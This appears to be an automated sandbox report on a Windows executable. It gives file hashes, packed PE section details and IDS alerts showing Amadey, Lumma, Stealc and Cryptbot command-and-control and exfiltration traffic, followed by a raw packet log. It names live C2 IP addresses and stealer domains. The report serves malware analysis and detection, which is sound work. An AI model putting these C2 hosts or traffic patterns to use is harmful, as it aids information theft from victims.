Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949707787883714
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'896'960 bytes
MD5:	1ff9879aba9138b20606b03471ec3d11
SHA1:	3b4e3eec402e23200372840a1ba15362a5171119
SHA256:	83a4c4955e180a527d9057901b5e1abfea25de6078856364d795ca53d68cd530
SHA512:	92f3ca8002886b6009568b3ae7970b683eaf3e1408a473a8cc8961a8c11179c29f86448d183b8e701af27ecba98b98e697e3af07759de512d6e53ae5f3f78ef3
SSDEEP:	49152:JW1lxogtOUV5vcxh5K1/l2HhM6auEqA6bggdR:JW1Dth/cTqlYMG7ngW
TLSH:	B695335B19C5BBAEF2568EB03FDAE41D4FFB830505752A58733402A42F3661AB7B10B4
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8b8000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FE8B883FB2Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x448	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4b6284	0x10	ufcrnojc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4b6234	0x18	ufcrnojc
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	5a1c28e8620026f75ccb999fd6be59a0	False	0.9977115974114441	data	7.979708987540044	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x448	0x600	23f61aeefa7c3d30c07a21aa8f45e969	False	0.3053385416666667	data	5.28505835027857	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2ae000	0x200	96dca60d78ab20ed2b5b771545360f7c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ufcrnojc	0x319000	0x19e000	0x19d400	9c14784bb11fa73c8de857aae3efd4c2	False	0.994446650030248	data	7.953545369367335	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cfzvtifv	0x4b7000	0x1000	0x400	fcc972fbadf4ce9f534163fbec65ba99	False	0.720703125	data	5.909975609936424	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4b8000	0x3000	0x2200	4e4994e4d5f9344ebf3fe51741ec1113	False	0.06571691176470588	DOS executable (COM)	0.8641552838619695	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x256	ASCII text, with CRLF line terminators			0.5100334448160535
RT_MANIFEST	0x692c8	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-21T07:10:06.124402+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49753	185.215.113.43	80	TCP
2024-11-21T07:10:10.670131+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	185.215.113.16	80	TCP
2024-11-21T07:10:15.933237+0100	2057730	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cook-rain .sbs)	1	192.168.2.4	55490	1.1.1.1	53	UDP
2024-11-21T07:10:16.305317+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49764	TCP
2024-11-21T07:10:17.466010+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.4	49780	188.114.97.3	443	TCP
2024-11-21T07:10:17.466010+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49780	188.114.97.3	443	TCP
2024-11-21T07:10:17.685344+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49781	185.215.113.43	80	TCP
2024-11-21T07:10:19.195592+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49787	185.215.113.16	80	TCP
2024-11-21T07:10:26.202521+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49803	185.215.113.43	80	TCP
2024-11-21T07:10:27.718968+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49810	185.215.113.16	80	TCP
2024-11-21T07:10:27.880145+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49807	185.215.113.206	80	TCP
2024-11-21T07:10:28.339450+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49807	185.215.113.206	80	TCP
2024-11-21T07:10:28.464331+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49807	TCP
2024-11-21T07:10:28.798542+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49807	185.215.113.206	80	TCP
2024-11-21T07:10:28.929609+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49807	TCP
2024-11-21T07:10:30.368499+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49807	185.215.113.206	80	TCP
2024-11-21T07:10:31.153721+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49807	185.215.113.206	80	TCP
2024-11-21T07:10:32.762418+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.4	49821	188.114.97.3	443	TCP
2024-11-21T07:10:32.762418+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49821	188.114.97.3	443	TCP
2024-11-21T07:10:33.867935+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49823	185.215.113.43	80	TCP
2024-11-21T07:10:35.450473+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49828	185.215.113.16	80	TCP
2024-11-21T07:10:44.198731+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49875	185.215.113.43	80	TCP
2024-11-21T07:10:45.804972+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49881	31.41.244.11	80	TCP
2024-11-21T07:10:47.900813+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49780	188.114.97.3	443	TCP
2024-11-21T07:10:47.900813+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49780	188.114.97.3	443	TCP
2024-11-21T07:10:47.903604+0100	2057668	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (processhol .sbs)	1	192.168.2.4	55405	1.1.1.1	53	UDP
2024-11-21T07:10:47.903604+0100	2057697	ET MALWARE Observed DNS Query to Lumma Stealer Domain (processhol .sbs)	1	192.168.2.4	55405	1.1.1.1	53	UDP
2024-11-21T07:10:48.335600+0100	2057658	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (librari-night .sbs)	1	192.168.2.4	51267	1.1.1.1	53	UDP
2024-11-21T07:10:48.885288+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49867	185.215.113.206	80	TCP
2024-11-21T07:10:49.807051+0100	2057659	ET MALWARE Observed Win32/Lumma Stealer Related Domain (librari-night .sbs in TLS SNI)	1	192.168.2.4	49895	172.67.206.172	443	TCP
2024-11-21T07:10:49.807051+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49895	172.67.206.172	443	TCP
2024-11-21T07:10:50.912756+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49867	185.215.113.206	80	TCP
2024-11-21T07:10:52.502135+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49867	185.215.113.206	80	TCP
2024-11-21T07:10:53.413417+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49867	185.215.113.206	80	TCP
2024-11-21T07:10:57.088293+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49867	185.215.113.206	80	TCP
2024-11-21T07:10:57.286445+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49918	185.215.113.43	80	TCP
2024-11-21T07:10:58.858740+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49867	185.215.113.206	80	TCP
2024-11-21T07:10:59.888056+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49895	172.67.206.172	443	TCP
2024-11-21T07:10:59.888056+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49895	172.67.206.172	443	TCP
2024-11-21T07:10:59.889354+0100	2057654	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (befall-sm0ker .sbs)	1	192.168.2.4	65134	1.1.1.1	53	UDP
2024-11-21T07:11:01.363561+0100	2057655	ET MALWARE Observed Win32/Lumma Stealer Related Domain (befall-sm0ker .sbs in TLS SNI)	1	192.168.2.4	49930	188.114.97.3	443	TCP
2024-11-21T07:11:01.363561+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49930	188.114.97.3	443	TCP
2024-11-21T07:11:03.536425+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49821	188.114.97.3	443	TCP
2024-11-21T07:11:03.536425+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49821	188.114.97.3	443	TCP
2024-11-21T07:11:03.539745+0100	2057668	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (processhol .sbs)	1	192.168.2.4	63971	1.1.1.1	53	UDP
2024-11-21T07:11:03.539745+0100	2057697	ET MALWARE Observed DNS Query to Lumma Stealer Domain (processhol .sbs)	1	192.168.2.4	63971	1.1.1.1	53	UDP
2024-11-21T07:11:05.241792+0100	2057659	ET MALWARE Observed Win32/Lumma Stealer Related Domain (librari-night .sbs in TLS SNI)	1	192.168.2.4	49952	172.67.206.172	443	TCP
2024-11-21T07:11:05.241792+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49952	172.67.206.172	443	TCP
2024-11-21T07:11:05.356216+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49951	185.215.113.16	80	TCP
2024-11-21T07:11:08.696955+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.4	49968	188.114.97.3	443	TCP
2024-11-21T07:11:08.696955+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49968	188.114.97.3	443	TCP
2024-11-21T07:11:16.303588+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49968	188.114.97.3	443	TCP
2024-11-21T07:11:16.303588+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49968	188.114.97.3	443	TCP
2024-11-21T07:11:16.481304+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49930	188.114.97.3	443	TCP
2024-11-21T07:11:16.481304+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49930	188.114.97.3	443	TCP
2024-11-21T07:11:22.625421+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.4	49995	188.114.97.3	443	TCP
2024-11-21T07:11:22.625421+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49995	188.114.97.3	443	TCP
2024-11-21T07:11:23.401476+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49995	188.114.97.3	443	TCP
2024-11-21T07:11:23.401476+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49995	188.114.97.3	443	TCP
2024-11-21T07:11:25.311117+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.4	50001	188.114.97.3	443	TCP
2024-11-21T07:11:25.311117+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50001	188.114.97.3	443	TCP
2024-11-21T07:11:27.550717+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	50007	34.116.198.130	80	TCP
2024-11-21T07:11:28.032524+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.4	50009	188.114.97.3	443	TCP
2024-11-21T07:11:28.032524+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50009	188.114.97.3	443	TCP
2024-11-21T07:11:29.445202+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	50009	188.114.97.3	443	TCP
2024-11-21T07:11:30.242858+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	50016	34.116.198.130	80	TCP
2024-11-21T07:11:31.186913+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.4	50017	188.114.97.3	443	TCP
2024-11-21T07:11:31.186913+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50017	188.114.97.3	443	TCP
2024-11-21T07:11:34.023334+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.4	50024	188.114.97.3	443	TCP
2024-11-21T07:11:34.023334+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50024	188.114.97.3	443	TCP
2024-11-21T07:11:41.388252+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.4	50050	188.114.97.3	443	TCP
2024-11-21T07:11:41.388252+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50050	188.114.97.3	443	TCP
2024-11-21T07:11:41.824076+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	50049	34.116.198.130	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 21, 2024 07:08:59.902543068 CET	49675	443	192.168.2.4	173.222.162.32
Nov 21, 2024 07:09:13.274693966 CET	49730	443	192.168.2.4	172.202.163.200
Nov 21, 2024 07:09:13.274770975 CET	443	49730	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:13.274858952 CET	49730	443	192.168.2.4	172.202.163.200
Nov 21, 2024 07:09:13.278229952 CET	49730	443	192.168.2.4	172.202.163.200
Nov 21, 2024 07:09:13.278283119 CET	443	49730	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:15.048301935 CET	443	49730	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:15.048413992 CET	49730	443	192.168.2.4	172.202.163.200
Nov 21, 2024 07:09:15.050811052 CET	49730	443	192.168.2.4	172.202.163.200
Nov 21, 2024 07:09:15.050837994 CET	443	49730	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:15.051215887 CET	443	49730	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:15.105675936 CET	49730	443	192.168.2.4	172.202.163.200
Nov 21, 2024 07:09:17.048521042 CET	49730	443	192.168.2.4	172.202.163.200
Nov 21, 2024 07:09:17.091377020 CET	443	49730	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:17.633074045 CET	443	49730	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:17.633143902 CET	443	49730	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:17.633163929 CET	443	49730	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:17.633182049 CET	443	49730	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:17.633224010 CET	443	49730	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:17.633243084 CET	443	49730	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:17.633316040 CET	49730	443	192.168.2.4	172.202.163.200
Nov 21, 2024 07:09:17.633377075 CET	443	49730	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:17.633414030 CET	49730	443	192.168.2.4	172.202.163.200
Nov 21, 2024 07:09:17.633439064 CET	49730	443	192.168.2.4	172.202.163.200
Nov 21, 2024 07:09:17.653760910 CET	443	49730	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:17.653867006 CET	49730	443	192.168.2.4	172.202.163.200
Nov 21, 2024 07:09:17.653887987 CET	443	49730	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:17.653995991 CET	443	49730	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:17.654059887 CET	49730	443	192.168.2.4	172.202.163.200
Nov 21, 2024 07:09:18.962321997 CET	49730	443	192.168.2.4	172.202.163.200
Nov 21, 2024 07:09:18.962388039 CET	443	49730	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:18.962429047 CET	49730	443	192.168.2.4	172.202.163.200
Nov 21, 2024 07:09:18.962464094 CET	443	49730	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:55.283360004 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:55.283452034 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:55.283564091 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:55.283936977 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:55.283956051 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:55.354702950 CET	49737	443	192.168.2.4	172.202.163.200
Nov 21, 2024 07:09:55.354793072 CET	443	49737	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:55.354943037 CET	49737	443	192.168.2.4	172.202.163.200
Nov 21, 2024 07:09:55.355288029 CET	49737	443	192.168.2.4	172.202.163.200
Nov 21, 2024 07:09:55.355339050 CET	443	49737	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:57.066271067 CET	443	49737	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:57.066400051 CET	49737	443	192.168.2.4	172.202.163.200
Nov 21, 2024 07:09:57.070728064 CET	49737	443	192.168.2.4	172.202.163.200
Nov 21, 2024 07:09:57.070760012 CET	443	49737	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:57.071285963 CET	443	49737	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:57.076778889 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:57.076905012 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:57.078288078 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:57.078320026 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:57.078826904 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:57.083744049 CET	49737	443	192.168.2.4	172.202.163.200
Nov 21, 2024 07:09:57.088171005 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:57.127362013 CET	443	49737	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:57.131356955 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:57.558964014 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:57.559000969 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:57.559092999 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:57.559118986 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:57.559186935 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:57.559228897 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:57.559272051 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:57.749860048 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:57.749891996 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:57.750024080 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:57.750065088 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:57.750123024 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:57.751058102 CET	443	49737	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:57.751084089 CET	443	49737	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:57.751132965 CET	443	49737	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:57.751157999 CET	49737	443	192.168.2.4	172.202.163.200
Nov 21, 2024 07:09:57.751225948 CET	443	49737	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:57.751260042 CET	49737	443	192.168.2.4	172.202.163.200
Nov 21, 2024 07:09:57.751282930 CET	49737	443	192.168.2.4	172.202.163.200
Nov 21, 2024 07:09:57.792684078 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:57.792733908 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:57.792800903 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:57.792830944 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:57.792869091 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:57.792889118 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:57.794025898 CET	443	49737	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:57.794107914 CET	49737	443	192.168.2.4	172.202.163.200
Nov 21, 2024 07:09:57.794125080 CET	443	49737	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:57.794193029 CET	49737	443	192.168.2.4	172.202.163.200
Nov 21, 2024 07:09:57.794205904 CET	443	49737	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:57.794243097 CET	443	49737	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:57.794259071 CET	49737	443	192.168.2.4	172.202.163.200
Nov 21, 2024 07:09:57.794285059 CET	49737	443	192.168.2.4	172.202.163.200
Nov 21, 2024 07:09:57.794338942 CET	443	49737	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:57.794373989 CET	49737	443	192.168.2.4	172.202.163.200
Nov 21, 2024 07:09:57.794373989 CET	49737	443	192.168.2.4	172.202.163.200
Nov 21, 2024 07:09:57.794394970 CET	443	49737	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:57.794413090 CET	443	49737	172.202.163.200	192.168.2.4
Nov 21, 2024 07:09:57.933950901 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:57.933980942 CET	443	49736	13.107.246.45	192.168.2.4
Nov 21, 2024 07:09:57.934052944 CET	49736	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:09:57.934120893 CET	443	49736	13.107.246.45	192.168.2.4
